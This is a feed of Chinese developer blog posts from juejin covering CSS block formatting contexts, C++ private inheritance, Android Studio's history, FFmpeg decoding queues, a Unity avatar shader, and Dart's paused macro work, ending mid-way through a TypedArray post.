<div> 元素设置 display-flow-root 属性后,就会让 <div> 中的所有内容参与到这个 BFC 中,浮动的内容就不会从底部溢出。

代码如下:

<section>
  <div class="box">
    <div class="float">我是浮动的盒子!</div>
    <p>我是容器内的内容。</p>
  </div>
</section>
<section>
  <div class="box" style="overflow:auto">
    <div class="float">我是浮动的盒子!</div>
    <p>我是 <code>overflow:auto</code> 容器内部的内容。</p>
  </div>
</section>
<section>
  <div class="box" style="display:flow-root">
    <div class="float">我是浮动的盒子!</div>
    <p>我是 <code>display:flow-root</code> 容器内部的内容。</p>
  </div>
</section>
section {
  height: 150px;
}
.box {
  background-color: rgb(224, 206, 247);
  border: 5px solid rebeccapurple;
}
.box[style] {
  background-color: aliceblue;
  border: 5px solid steelblue;
}
.float {
  float: left;
  width: 200px;
  height: 100px;
  background-color: rgba(255, 255, 255, 0.5);
  border: 1px solid black;
  padding: 10px;
}

结果也显而易见:

Snipaste_2025-01-30_16-12-11.png

阻止元素重叠

下面这个例子,将使用 display:flow-root 和浮动实现双列布局,因为在正常的文档流中建立的 BFC 不会与元素本身所在的 BFC 中的任何浮动元素的外边距重叠。

<section>
  <div class="float">试试重新调整这个外部浮动元素的大小</div>
  <div class="box"><p>普通</p></div>
</section>
<section>
  <div class="float">试试重新调整这个外部浮动元素的大小</div>
  <div class="box" style="display:flow-root">
    <p><code>display:flow-root</code></p>
    <p></p>
  </div>
</section>
section {
  height: 150px;
}
.box {
  background-color: rgb(224, 206, 247);
  border: 5px solid rebeccapurple;
}
.box[style] {
  background-color: aliceblue;
  border: 5px solid steelblue;
}
.float {
  float: left;
  overflow: hidden; /* resize:both 所必需的样式 */
  resize: both;
  margin-right: 25px;
  width: 200px;
  height: 100px;
  background-color: rgba(255, 255, 255, 0.75);
  border: 1px solid black;
  padding: 10px;
}

结果如下:

Snipaste_2025-01-30_16-28-41.png

请注意,与 inline-block 需要设置 width:<percentage> 不同的是,在示例中,我们不需要设置右侧 <div> 元素的宽度。

防止外边距折叠

我们可以利用创建新的 BFC 来避免相邻元素之间的外边距折叠。

接下来的这个示例,将创造两个相邻的 <div> 元素,每个元素在垂直方向上都有10px的外边距。我们在为了解外边距折叠得情况下都会认为两个盒子之间的间距会是20px。很可惜,由于外边距折叠,它们之间只有10px。

<div class="blue"></div>
<div class="red"></div>
.blue,
.red {
  height: 50px;
  margin: 10px 0;
}

.blue {
  background: blue;
}

.red {
  background: red;
}

Snipaste_2025-01-30_16-50-31.png

如何防止外边距折叠

在这个示例中,想要解决外边距折叠这个问题非常简单,只需要对其中一个盒子创建新的 BFC 即可。在这里,我们选择创建新的 <div> 元素,将第二个盒子包裹进去,来创建一个新的 BFC 来解决外边距折叠。

<div class="blue"></div>
<div class="outer">
  <div class="red"></div>
</div>
.blue,
.red {
  height: 50px;
  margin: 10px 0;
}

.blue {
  background: blue;
}

.red {
  background: red;
}

.outer {
  overflow: hidden;
  background: transparent;
}

Snipaste_2025-01-30_16-58-16.png 不难发现两个盒子之间的距离比之前大了一些。当然,除了包裹一层 <div> 元素这个方法,还可以选择向其中一个盒子添加 float:leftdiaplay:inline-block 属性来创建新的 BFC 。

总结

BFC 的存在,解决了浮动所带来的一系列问题,让开发者可以更加灵活地控制网页的布局,从而创造出更加丰富的页面。学习和理解 BFC,有助于解决常见的一些CSS布局问题。

新年创作不易,看到最后的话,还希望点个小小的赞。

by AliceOvO at January 30, 2025 09:16 AM

juejin article

【C++】从继承类型对隐式转换的影响,看不同继承类型的语义

dda5ea6946a984703a2132f02ae3cf2.jpg

问题

今天在做项目时碰到了一个问题。简化后的代码如下:

class Expression {
 public:
    virtual ~Expression() {}
};

class BinaryExpression : public Expression {
 public:
    OpCode op_;
    std::shared_ptr<Expression> left_;
    std::shared_ptr<Expression> right_;
};

现在我尝试将一个BinaryExpression指针赋值给Expression指针,简化后的代码如下:

auto binary_expr = std::make_shared<BinaryExpression>();
// do something...
std::shared_ptr<Expression> term = binary_expr;

经测试,代码可以正常通过编译。

可当我将BinaryExpression类的继承代码修改为class BinaryExpression : private Expression后,编译器却抛出了一长串错误:

no operator "=" matches these operandsC/C++(349)
parser.cc(50, 19): operand types are: std::shared_ptr<Expression> = std::shared_ptr<BinaryExpression>
parser.cc(50, 19): candidate function template "std::shared_ptr<_Tp>::operator=(std::unique_ptr<_Yp, _Del> &&__r) [with _Tp=Expression]" failed deduction
parser.cc(50, 19): candidate function template "std::shared_ptr<_Tp>::operator=(std::shared_ptr<_Yp> &&__r) noexcept [with _Tp=Expression]" failed deduction
parser.cc(50, 19): function "std::shared_ptr<_Tp>::operator=(std::shared_ptr<_Tp> &&__r) noexcept [with _Tp=Expression]" does not match because argument #1 does not match parameter
parser.cc(50, 19): candidate function template "std::shared_ptr<_Tp>::operator=(std::auto_ptr<_Yp> &&__r) [with _Tp=Expression]" failed deduction
parser.cc(50, 19): candidate function template "std::shared_ptr<_Tp>::operator=(const std::shared_ptr<_Yp> &__r) noexcept [with _Tp=Expression]" failed deduction
parser.cc(50, 19): function "std::shared_ptr<_Tp>::operator=(const std::shared_ptr<_Tp> &) noexcept [with _Tp=Expression]" does not match because argument #1 does not match parameter

我刚开始以为是智能指针的问题,可是我把智能指针去掉换成裸指针后,尝试编译仍然会抛出错误。

原因

经查阅资料,这个问题的根源在于,C++中公有继承(public inheritance)私有继承(private inheritance) 在语言设计之初就被赋予了不同的功能和涵义,或者说语义:

  • 公有继承(public inheritance)
    • 公有继承表示is-a关系。
    • 具体来说,派生类是基类的子类型(subtype),派生类支持基类的所有接口,隐式转换是合理的。
    • 例如:Dog 公有继承 Animal,则 Dog* 可隐式转为 Animal*,因为狗“是”动物。
  • 私有继承(private inheritance)
    • 私有继承表示implemented-in-terms-of关系。
    • 具体来说,仅表示派生类复用基类的实现细节,不对外暴露基类的接口
    • 例如:Stack 私有继承 std::vector,表示栈用向量实现,但不允许外部通过 vector* 直接操作栈的内部逻辑。

从另一个角度来说,私有继承的语义更接近组合(“有一个”关系),而非公有继承(“是一个”关系)。显而易见,根据我们的开发经验,当你在使用组合关系来实现某个类中的某些功能时,你大多数时候应该是不会将被组合进类中的那个对象及其方法给暴露出来的——这与私有继承的行为类似!

因此,若允许将私有继承自基类的派生类的对象指针,隐式转换为积累的对象指针,则外部代码可通过基类指针绕过派生类的封装,直接操作基类接口,违背私有继承的设计初衷。

by PAK向日葵 at January 30, 2025 08:23 AM

juejin android

Android Studio 正式版 10 周年回顾,承载 Androider 的峥嵘十年

Android Studio 1.0 宣发于 2014 年 12 月,而现在时间来到 2025 ,不知不觉间 Android Studio 已经陪伴 Androider 走过十年历程。

Android Studio 10 周年,也代表着了我的职业生涯也超十年,现在回想起来依然觉得「唏嘘」,还记得十多年前从嵌入式转入安卓的时候,搭建的工作环境还是 Eclipse + ADT , JDK 也还是甲骨文的 Java,而现在 Android Studio 都内置可切换的 OpenJDK 版本了。

在 Eclipse 时代,搭建 Android 开发环境相当麻烦,比如需要单独下载 JDK,然后下载 Eclipse,然后用更新中心配置它指向 Android,之后安装适用于 Android 的 Eclipse 插件,然后将该插件配置为指向 Android SDK 安装。

而相比较 Eclipse IDE 使用的 Ant CI 构建,Android Studio 在 2013 年 Google 大会发布后就宣布采用 Gradle 作为构建系统,不知道大家是否还记得 0.1 版本尝鲜时的这个界面:

随着 Android Studio 1.0 的正式发布,Gradle 也开始正式进入 Android 开发者们的视野里,相信起初不少开发者对于 Gradle 是抗拒的,因为真的会有各种各样的原理导致项目跑不起来,更别说迁移了。

相信我,现在的 AGP 再怎么坑,都比当年靠谱很多。

我还记得,2015 年的时候我去了一家新公司工作的第一件事,就是把它们历史的 Eclipse 工程迁移到 Android Studio ,并让团队接受 Gradle 开发环境。

当然,Android Studio 刚出来那会,它内置的模拟器依然是一种“狗都不用”的情况,相比现在的模拟器,当年的模拟器真的一言难尽:

而 Google 选择 IntelliJ 作为构建 Android Studio 的平台,也是 Google 和 JetBrains 深度合作的开始,至此,Android 就和 JetBrains/Gradle 开始了十年的蜜月,然后就是大家熟知的 Kotlin、Kotlin Multiplatform、Compose Multiplatform:

而从这 10 年 Android Studio logo 的变化,你是否也从这些熟悉的 logo 里看到曾经「每日早八」的回忆:

  • 2013 年: 最初的 Android Studio 标志是一个 3D 机器人,突出了 bugdroid 的齿轮和,此时Android Emulator 是 bugdroid
  • 2014 年: Android Emulator 合并到一个平坦的图标,但其他方面保持不变
  • 2014-2019 年: 引入了全新的 Android Studio 徽标,其中绿色圆圈前面有一个“A”罗盘
  • 2020-2022 年: 随着 Android Studio 4.1 的发布,“A”指南针被简化为放置在蓝图前面的抽象形式,还添加了 Android 头。
  • 现在: 标志的中心焦点是 A 罗盘,它融合了原始罗盘标志的元素,并保留 Android 头

从 2014 年到 2022 年,Android Studio 图标就通过不同的背景颜色来区分版本,黄色代表 Canary ,绿色 (2014 - 2019) 和白色 (2020-2022) 代表稳定版本

而现在,除了颜色之外,新设计还采用了一种辅助编码方法,还以轮廓 A 表示 Canary,以实心 A 表示 Stable

而除了 Logo 之外,从 Android Studio 4.1 之后, Android Studio Arctic Fox 变更了版本号规则,开始与 IntelliJ IDEA 更新保持一致,并且每个大版本增加一种「生物」,可以看到现在启动图也变得多彩起来:

之后,从 Android Studio Koala 开始,Studio 版本所使用的版本号都遵循着: <IntelliJ 版本年份>.<IntelliJ 主版本>.<Studio 主版本> 这样的格式,其中初始的动物版本发布将带有 ".1" 的 Android Studio 主版本号,用于引入更新的 IntelliJ 平台版本号,而随后的功能更新将把 Android Studio 的主版本号提升到 ".2",聚焦于引入更多特定于 Android 的功能,统称为 Feature Drop

自此, Android Studio 正式走过了十年,现在的 Android Studio 不仅聚焦 AI Gemini ,更打通了 Firebase 整套支持,同时还支持 K2 模式,全面无缝地适配 Jetpack Compose ,拥有更优秀的测试和部署支持等。

可以看到,十年过去,Android Studio 确实越来越优秀了,尽管它现在还是有着这样那样的问题,但是,我们还是期待它能迈向下一个十年~

参考链接

by 恋猫de小郭 at January 30, 2025 06:42 AM

juejin ios

音视频学习笔记六——从0开始的播放器之解码解析

题记:视频文件通过解封装获取到streams包含视频流的信息,本章节介绍对视频流进行解码处理获取可以展示的数据信息,关于理论基础参考编码简介,建议先看线程设计了解整体线程。同样可以结合ffplay和Demo更容易理解。

解码解析

解码准备

进入解码前可以先了解一下以下内容,做一些准备工作:

  • formatContext->interrupt_callback设置中断回调
    • callback 设置回调函数
    • opaque 设置回调函数的参数。回调函数一般是静态或者全局函数,需要传递状态,这里是C风格void * 类型
  • formatContext->flags |= AVFMT_FLAG_GENPTS 在某些情况下,输入流可能缺少这些时间戳,或者时间戳可能不正确。通过设置 AVFMT_FLAG_GENPTS,FFmpeg 能够尝试自动修复这些问题
  • av_format_inject_global_side_dataAVFormatContext注入全局的侧边数据(side data)。比如如果需要向后续AVPacket中传输一些媒体信息,就可以通过这种方式
  • formatContext->pb->eof_reached 是否读到结尾,开始播放时设为0,为了避免一些bug
  • av_dump_format 打印媒体信息,展示参考笔记一
  • av_find_best_stream 查找最佳匹配的媒体流
  • av_guess_sample_aspect_ratio 猜测视频宽高比

设置这些之后,完整播放器可以选择设置播放方式和音视频同步方式。如视频只有图像或音频,只有音频播放方式有显示WAVES、RDFT(傅里叶变换)波形或者显示贴图(音频文件可以带贴图)。本文的介绍和Demo暂时不处理这些额外的设置(本人精力有限)。

解码处理流程.jpg

音视频同步后续会单独章节介绍,这里简要说明下:

  • 只有视频(图像),采用视频同步,本质上就是按照FPS或PTS展示图片;
  • 有音频,一般会采用音频同步(人对音频比视频更敏感),就是按照音频的播放时间调整视频展示速度;
  • 外部时钟同步,使用外部时钟同时调整音频和视频的播放速度,一般用于视频会议或者直播系统;

解码解析

解码流程

解码是编码的逆过程,具体到FFmpeg就是从文件中不断读取AVPacket并转换成播放数据AVFrame的过程,如下图(注意这里的结束只是解码的结束,并不代表播放的结束解码流程.jpg

看一下这几个相关函数

  • av_read_frame 用于从多媒体文件或流中读取下一帧数据,为AVPacket填充数据
    • AVFormatContext * 上下文指针
    • AVPacket * 待填充数据的packet
  • avcodec_send_packet 向解码器发送压缩数据包
    • AVCodecContext * 解码上下文
    • AVPacket * 需要解码的packet
  • avcodec_receive_frame 从解码器接收解码后的帧数据
    • AVCodecContext * 解码上下文
    • AVFrame * 解码后的数据结构体

由于帧信息之间有依赖性,详细可见编码原理 ,解码时不能使用单独的packet解码到数据,需要依赖其他GOP中信息(如参考帧等),于是需要这样的AVCodecContext解码上下文,包含对应格式的解码器。大概的过程并不复杂,伪代码如下:

// 构建解码上下文
const AVCodec *acodec = avcodec_find_decoder(codecpar->codec_id);
if (!acodec) return;
AVCodecContext *aCodecContext = avcodec_alloc_context3(acodec);
avcodec_parameters_to_context(aCodecContext, codecpar);
int aRet = avcodec_open2(aCodecContext, nullptr, nullptr);
if (aRet != 0) return;
// 解码过程
AVPacket *packet = av_packet_alloc();
AVFrame *frame = av_frame_alloc();
while(true) {
  av_read_frame(formatContext, packet);
  avcodec_send_packet(aCodecContext, packet);
  // 使用完了packet,需要释放引用
  av_packet_unref(packet);
  while (true) {
    avcodec_receive_frame(context, frame);
    xxxxxxx
    av_frame_unref(frame);
  }
}

下面具体看一下解码结构体:

解码结构体

AVStream对应于音视频处理中的流,一个视频文件中可能包含多个流,如前文介绍中的视频流、音频流、字幕流等。相关字段如下:

index:流索引,在streams中的索引
id:流标识
codecpar:解码器参数的结构体,如编码类型、码率、帧率、分辨率、像素格式、采样率、声道数等;
time_base:表示了流中时间戳的单位,就是用分数表达。例如time_base为{1, 25},每帧1/25秒
duration:时长,需要配合时间基使用
start_time:第一个样本的时间戳,一般为0或者尽可能靠近0的时刻,配合时间基
metadata:包含元信息,艺术家,年份等
attached_pic:封面图,例如一些MP3或AAC音频文件附带的专辑封面
sidedata:附加信息

AVStream是视频流信息的封装,通常根据streams创建处理线程,每个类型或每个流(可以有多路音频或视频)创建一个线程。codecpar包含了解码器所需要的参数:

codec_type:流类型,AVMEDIA_TYPE_VIDEO(视频)、AVMEDIA_TYPE_AUDIO(音频)或AVMEDIA_TYPE_SUBTITLE(字幕)
codec_id:编码数据类型,如h264、MPEG4、MJPEG等
codec_tag:编解码器的附加信息
format:对于视频来说,指的是像素格式(如YUV420、YUV422等);对于音频来说,指的是音频的采样格式。
width&height:视频的宽度和高度
sample_rate、channels&sample_fmt:音频的采样率、声道数和采样格式
channel_layout:音频声道布局

解码器根据codecpar信息,查找AVCodec和构建AVCodecContext,整体结构如下图: 解码关系图.jpg

这里需要关注的函数:

  • avcodec_find_decoder 用于查找并获取指定编解码器
  • avcodec_alloc_context3 为指定的编解码器分配并初始化一个 AVCodecContext 结构
  • avcodec_parameters_to_context 将 AVCodecParameters 结构中的信息复制到 AVCodecContext 结构中。

数据结构体

AVPacket

AVPacket是压缩数据的封装,主要字段:

buf:AVBufferRef结构体指针,引用指针设计
data:数据的指针
size:数据的长度,单位为字节
pts:Presentation Timestamp,解码后该数据包内容在整个媒体流中的显示时间
dts:Decode Timestamp,数据包在整个媒体流中的时间排序
duration:该数据包所持续的时间长度
stream_index:数据流的索引号
flags:一个32位的标志位,支持一些特定编码器和格式的编解码特性
side_data及:额外信息,通过av_format_inject_global_side_data传入
AVFrame

AVFrame是解码后数据的封装,主要字段:

data:指针数组,用于存放数据帧的各个通道的数据指针。视频帧,通常图像平面(如YUV中的Y、U、V平面)的指针;对于音频帧,这通常是音频通道的数据指针(左右声道)。
linesize:对应于data,各个通道数据的每行字节数
extended_data:扩展数据指针数组的指针,通常用于音频数据,表示多个通道的音频样本。
width和height:视频数据帧的宽度和高度。
format:像素格式或样本格式。对于视频帧,表示像素格式(如YUV420P);对于音频帧,表示样本格式(如PCM)。
pts:帧的时间戳(Presentation Timestamp)。
pkt_pts和pkt_dts:AVPacket结构体中的时间戳,用于与解码后的AVFrame结构体中的时间戳进行比较、计算和修正。
nb_samples:音频帧中采样的数量,如音频帧采样率为44.1kHZ,那么该帧播放时间为 nb_samples/44100秒
sample_rate、channels和channel_layout:音频帧的采样率、声道数和声道布局。
key_frame:指示该视频帧是否为关键帧。
extended_buf:扩展缓冲区数组,用于存储超出`buf`数组限制的数据。
colorspace和color_range:视频帧的色彩空间和色彩范围

解码设计

通过上述介绍大概可以了解流的解码过程,而解码的整体设计是两层生产消费模型,建议先看线程设计

两层的生产消费模型和核心是两层缓冲区的设计,第一层用于存储Packet,第二层存储Frame。先来看一下ffplay中的设计。 第一层缓存PacketQueue的封装如图

typedef struct MyAVPacketList {
    AVPacket pkt;
    struct MyAVPacketList *next;
    int serial;
} MyAVPacketList;
typedef struct PacketQueue {
    MyAVPacketList *first_pkt, *last_pkt;
    int nb_packets;
    int size;
    int64_t duration;
    int abort_request;
    int serial;
    SDL_mutex *mutex;
    SDL_cond *cond;
} PacketQueue;

这里可以看到,实际上就是单项链表,Queue中存储链表的头尾。其他信息说明

  • serial: 结点和链表都包含这个字段,用于各个部分的同步(packetframe)。seek操作时,由于重新定位时间点,前面解析出来的frame都失效了,需要情况缓存。这个serial就起到这个作用。在讲到seek时会详细解释。
  • nb_packetssizeduration:用于记录当前Queue的存储数量,包含的字节数、能够播放的时长。
  • abort_request:同步abort操作。
  • mutexcond:锁和条件锁,操作队列时使用。锁用于队列增删改查,条件锁(也需要配合锁使用)用于如果Queue为空,获取packet时需要。这里顺便提一下,调用SDL_CondWait实际上会先释放mutex,到被唤醒时重新加锁。

第二层FrameQueue的封装如图

typedef struct FrameQueue {
    Frame queue[FRAME_QUEUE_SIZE];
    int rindex;
    int windex;
    int size;
    int max_size;
    int keep_last;
    int rindex_shown;
    SDL_mutex *mutex;
    SDL_cond *cond;
    PacketQueue *pktq;
} FrameQueue;

FrameQueue实际上采用的是环形列表,这种结构在随机访问上更有优势。由于是环形操作,新增两个索引rindexwindex

  • rindexwindex: 读索引和写索引,由于是环形操作,实际相当队列的头尾,队列先进先出,读操作在头部开始,写操作在尾部进行。
  • sizemax_size:帧的数量和最大容量,通常就是FRAME_QUEUE_SIZE
  • keep_last:标识否保留最后一帧(例如播放完毕后停在最后一帧)
  • rindex_shown:标识当前帧是否已经被展示过。这个主要用于视频展示时有一定持续时间,可能下一个处理周期还是展示当前帧。
  • mutexcond:同PacketQueue作用,但此处的cond不仅要锁队列为空,也要锁队列满。
  • pktq:指向对应的PacketQueue。

Demo中对应OPPacketQueueOPFrameQueue,为了方便理解直接使用了C++的list模版,frame中也使用了emptyConfullCon

了解完基本结构,再来看下图。

  • 解封装线程会通过av_read_frame生产packet(实际上是填充数据),根据类型分配到对应的PacketQueue中。
    • 当有三个PacketQueue有足量的packet时(stream_has_enough_packets根据需要定义),阻塞解封装线程,即停止下载和解析文件。
    • 当PacketQueue取数后(或其他一些操作如abort),发送signal,解封装线程继续工作。
  • PacketQueue为解码提供数据源
    • PacketQueue 中的cond,用于当PacketQueue为空时,取数操作进入waitng状态;
  • FrameQueue为播放提供数据源
    • FrameQueue 中的cond,当FrameQueue达到最大容量,解码进入waiting状态,从而控制整个流程;
    • 当FrameQueue没有数据,cond会让取数操作进入waiting状态。形成卡顿。

生产消费模型.jpg

by 路漫漫心远 at January 30, 2025 05:28 AM

juejin career

unity - 排行榜 - 头像(二)

参考转载链接:blog.csdn.net/weixin_4537…

前言

上一篇其一(scrollView),解决了如何实现一个列表的排行榜用户数据,这一篇需要解决的是头像问题,那么有几个问题卡点是需要解决的

  1. 如何动态指定image的src
  2. 如何让image变为圆形

如何动态指定image的src

在上一篇myTest.cs的基础上进行修改,需要结合编辑器

完善 InitData:

    private void InitData()
    {
        for (int i = 1; i <= 1000; ++i)
        {
            RankItemData data = new RankItemData();
            data.rank = i;
            data.name = "Name_" + i;
            data.imageUrl = "假数据imageUrl";
            testData.Add(data);
        }
    }

完善 Start 中的 SetUpdateFunc:

private void Start()
    {
        InitData();

        scrollView.SetUpdateFunc((index, rectTransform) =>
        {
            RankItemData data = testData[index];
            rectTransform.gameObject.SetActive(true);
            rectTransform.Find("rankText").GetComponent<Text>().text = data.rank.ToString();
            rectTransform.Find("nameText").GetComponent<Text>().text = data.name;
            Image image = rectTransform.Find("playerCover").GetComponent<Image>();
            StartCoroutine(LoadPlayerImage(data.imageUrl, image));
        });
    }

新增

    private IEnumerator<object> LoadPlayerImage(string imageUrl, Image targetImage)
    {
        Debug.Log("imageUrl: " + imageUrl);
        using (UnityWebRequest webRequest = UnityWebRequestTexture.GetTexture(imageUrl))
        {
            yield return webRequest.SendWebRequest();

            if (webRequest.result != UnityWebRequest.Result.Success)
            {
                Debug.Log("Error loading player image: " + webRequest.error);
            }
            else
            {
                Texture2D texture = DownloadHandlerTexture.GetContent(webRequest);
                Sprite sprite = Sprite.Create(texture, new Rect(0, 0, texture.width, texture.height), new Vector2(0.5f, 0.5f), texture.width);
                Debug.Log("Error loading player sprite: " + sprite);
                targetImage.sprite = sprite;
            }
        }
    }

在编辑器中,同级新增一个image组件:

image.png

StartCoroutine 是 Unity 中用于启动协程的一个方法。协程是 Unity 提供的一种特殊的编程概念,可以让你在程序中暂时"挂起"当前的执行,并在某个时间点恢复执行,适用于需要异步操作或需要等待一段时间才能执行的情况

接着 run,效果如下:

image.png

如何让image变为圆形

Mask

从网上找到的资源来看,有三种方法:Mask,Shader,顶点绘制,这里介绍前两种,因为到Shader的时候我认为已经满足了

给PlayerCover同级新增一个CoverMask,然后把PlayerCover转移到CoverMask下面变为它的子级, 并且需要给CoverMask指定一个遮罩图,这个可以自行去找一下,大概结构如下:

image.png

image.png

接着给 SetUpdateFunc 进行更新一下:

scrollView.SetUpdateFunc((index, rectTransform) =>
    {
        RankItemData data = testData[index];
        rectTransform.gameObject.SetActive(true);
        rectTransform.Find("rankText").GetComponent<Text>().text = data.rank.ToString();
        rectTransform.Find("nameText").GetComponent<Text>().text = data.name;
        // Image image = rectTransform.Find("playerCover").GetComponent<Image>();
        // StartCoroutine(LoadPlayerImage(data.imageUrl, image));
        Transform coverMask = rectTransform.Find("coverMask");
        if (coverMask != null)
        {
            Image playerCover = coverMask.Find("playerCover").GetComponent<Image>();
            StartCoroutine(LoadPlayerImage(data.imageUrl, playerCover));
        }
        else
        {
            Debug.LogWarning("coverMask not found in the hierarchy");
        }
    });

接着就可以进行run 了,效果如下:

image.png

明显的周围有锯齿感,这是unity的knob导致,看起来就比较low了,我觉得是不满足我的预期的,因此换成下一个方法

Shader

恢复SetUpdateFunc 和 hierarchy 层级:

private void Start()
    {
        InitData();

        scrollView.SetUpdateFunc((index, rectTransform) =>
        {
            RankItemData data = testData[index];
            rectTransform.gameObject.SetActive(true);
            rectTransform.Find("rankText").GetComponent<Text>().text = data.rank.ToString();
            rectTransform.Find("nameText").GetComponent<Text>().text = data.name;
            Image image = rectTransform.Find("playerCover").GetComponent<Image>();
            StartCoroutine(LoadPlayerImage(data.imageUrl, image));
        });
    }

image.png

接着需要新建一个Shader命名为UICircular,同时新建一个Material命名为Custom:

image.png

image.png

接着把UICircular拖给Custom: image.png

UICircular:

Shader "Custom/UICircular"
{
Properties
{
_R("圆的半径R", Range(0,1)) = 0.5
_Blur("边缘虚化的范围", Range(0,100)) = 100

[PerRendererData] _MainTex("Sprite Texture", 2D) = "white" {}
_Color("Tint", Color) = (1,1,1,1)

_StencilComp("Stencil Comparison", Float) = 8
_Stencil("Stencil ID", Float) = 0
_StencilOp("Stencil Operation", Float) = 0
_StencilWriteMask("Stencil Write Mask", Float) = 255
_StencilReadMask("Stencil Read Mask", Float) = 255

_ColorMask("Color Mask", Float) = 15

[Toggle(UNITY_UI_ALPHACLIP)] _UseUIAlphaClip("Use Alpha Clip", Float) = 0
}

SubShader
{
Tags
{
"Queue" = "Transparent"
"IgnoreProjector" = "True"
"RenderType" = "Transparent"
"PreviewType" = "Plane"
"CanUseSpriteAtlas" = "True"
}

Stencil
{
Ref[_Stencil]
Comp[_StencilComp]
Pass[_StencilOp]
ReadMask[_StencilReadMask]
WriteMask[_StencilWriteMask]
}

Cull Off
Lighting Off
ZWrite Off
ZTest[unity_GUIZTestMode]
Blend SrcAlpha OneMinusSrcAlpha
ColorMask[_ColorMask]

Pass
{
Name "Default"
CGPROGRAM
#pragma vertex vert
#pragma fragment frag
#pragma target 2.0

#include "UnityCG.cginc"
#include "UnityUI.cginc"

#pragma multi_compile __ UNITY_UI_CLIP_RECT
#pragma multi_compile __ UNITY_UI_ALPHACLIP

struct appdata_t
{
float4 vertex   : POSITION;
float4 color    : COLOR;
float2 texcoord : TEXCOORD0;
UNITY_VERTEX_INPUT_INSTANCE_ID
};

struct v2f
{
float4 vertex   : SV_POSITION;
fixed4 color : COLOR;
float2 texcoord  : TEXCOORD0;
float4 worldPosition : TEXCOORD1;
UNITY_VERTEX_OUTPUT_STEREO
};

fixed4 _Color;
fixed4 _TextureSampleAdd;
float4 _ClipRect;
float _R;
float _X;
float _Y;
float _Blur;

v2f vert(appdata_t v)
{
v2f OUT;
UNITY_SETUP_INSTANCE_ID(v);
UNITY_INITIALIZE_VERTEX_OUTPUT_STEREO(OUT);
OUT.worldPosition = v.vertex;
OUT.vertex = UnityObjectToClipPos(OUT.worldPosition);

OUT.texcoord = v.texcoord;

OUT.color = v.color * _Color;
return OUT;
}

sampler2D _MainTex;

fixed4 frag(v2f IN) : SV_Target
{
half4 color = (tex2D(_MainTex, IN.texcoord) + _TextureSampleAdd) * IN.color;

#ifdef UNITY_UI_CLIP_RECT
color.a *= UnityGet2DClipping(IN.worldPosition.xy, _ClipRect);
#endif

#ifdef UNITY_UI_ALPHACLIP
clip(color.a - 0.001);
#endif

//圆形
float x = IN.texcoord.x - 0.5f;
float y = IN.texcoord.y - 0.5f;
float lerp = (1 - _Blur * (_R * _R - (x * x + y * y))) * color.a;//如果不加这句代码,图片边缘会有明显的锯齿
color.a = (color.a - lerp) * step(x * x + y * y, _R * _R);//如果 _R*_R<(x*x + y * y),返回 0;否则,返回 1。

return color;
}
ENDCG
}
}
}

然后根据实际调整参数,我这边的调整结果:

image.png

最后把Custom拖给PlayerCover的Material: image.png

run起来看看效果:

image.png

这里我把之前的img替换了一下,因为之前的分辨率太大了,这里会变模糊,需要用成small size才行

by jojo的奇妙前端 at January 30, 2025 03:54 AM

juejin android

Flutter 新春第一弹,Dart 宏功能推进暂停,后续专注定制数据处理支持

在去年春节,Flutter 官方发布了宏(Macros)编程的原型支持, 同年的 5 月份在 Google I/O 发布的 Dart 3.4 宣布了宏的实验性支持,但是对于 Dart 内部来说,从启动宏编程实验开始已经过去了几年,但是从目前的推进趋势看,完全的宏功能支持并不理想,结论大概是:

能用是能用,但是质量和性能都达不到一开始的预期

具体原来在于 Dart 的静态语言提前编译和有状态的热重载等方面,对于元编程而言,需要建立在强大的内省基础支持之上,但是对于 Dart 目前来说,运行时内省(例如反射)会让 tree-shaking 优化变得困难 ,而 tree-shaking 优化是 Dart 在二进制优化的重要指标之一。

一开始 Dart 的目标是构建一个完整的宏系统,从而让该系统支持在编译时对程序进行深度语义内省,但是在实现语义内省时引入了大量的编译时成本,而这让有状态的热重载保持变得困难

目前的宏编程还让 Flutter 开发时的 IDE 编辑与补全体验下降。

同时带来的还有依赖项里的宏循环依赖等问题,例如在 IDE 中输入“.foo” 可能需要重新处理所有宏,从而执行正确的代码,目前来看要么处理得太频繁,要么给出的结果不正确。

在过去的测试里,宏在小型库上的性能非常好,但是在真实应用的大周期开发里,会让 Dart 的体验变得很差,例如在顶层编辑(声明、方法头、字段等)时,基本上每次键入都需要重新运行整个宏构建。

而针对当前宏支持采用缓存的提议,也存在宏生成的代码的整个版本适配问题,例如:

现在有一个依赖于 foo 和 bar 的 my_app 包,如果你只在 foo 上运行 pub get,解析器可能会给你 bar 1.2.3;而当你在 my_app上运行 pub get 时,也许会得到 bar 2.3.4,大概可能是 @doStuff 宏内省的 type from bar 在这些版本之间不同。

虽然也可以通过限制内省来避免这种深层依赖,但带来的一些其他负面,例如你可能正在为 foo 生成 JSON 序列化代码,并且宏正在尝试判断其类型来自 bar 的字段是否支持 JSON 序列化,甚至前面提到的循环依赖问题。

当然针对和这个可能还有其他解决方案,相比较目前带来的编译时间、静态分析和整个程序的优化问题,对于 Dart 来说运行时方法并不现实。

所以最终 Dart 团队决定,由于宏的性能具体目标还太遥远,团队决定把当前的实现回归到编辑(例如静态分析和代码完成)和增量编译(热重载的第一步)上

具体在于重新投资Dart 中的数据支持,因为这也是Dart & Flutter issue 里请求最多的问题,事实上一开始 Dart 对宏支持的主要动机也是提供更好的数据序列化和反序列化,但是目前看来,通过更多定制语言功能来实现这一点更加实际。

另外通过缩短构建时间和整体代码生成体验来弥补宏的确实,也是未来目标之一,目前 Dart 已经确定了 build_runner 的改进支持。

另外还计划提供 augmentations 功能,这是作为宏的一部分制作原型的功能,例如增加修饰符 augment 作为扩充声明,而该功能也是独立的部份,并将改进现有的代码生成。

通过 augment 实现将一个功能部署到多个文件里,同时可以添加新的顶级声明,将新成员注入类,并将函数和变量包装在其他代码中。

相信宏支持停止这个消息会让大家感到失望,尽管从长远来看 Dart 仍然对通用元编程感兴趣,因为它在数据之外还有许多潜在的用例,但是在短期之内,Dart 应该是不会发布宏支持。

对于包开发者来说,比如之前的 equatable3.0.0-dev.1 就发布过宏的实验性版本,体验还不错,但是现在看来只能继续“实验”下去。

最后,祝大家 2025 新春快乐~

参考链接

by 恋猫de小郭 at January 30, 2025 01:31 AM

January 29, 2025

juejin career

TypedArray与DataView有什么区别?

TypedArray与DataView的区别

在 JavaScript 中,TypedArrayDataView 都是用于处理二进制数据的强大工具,但它们的设计目的和用法有所不同。以下是它们之间的主要区别:

1. 数据结构

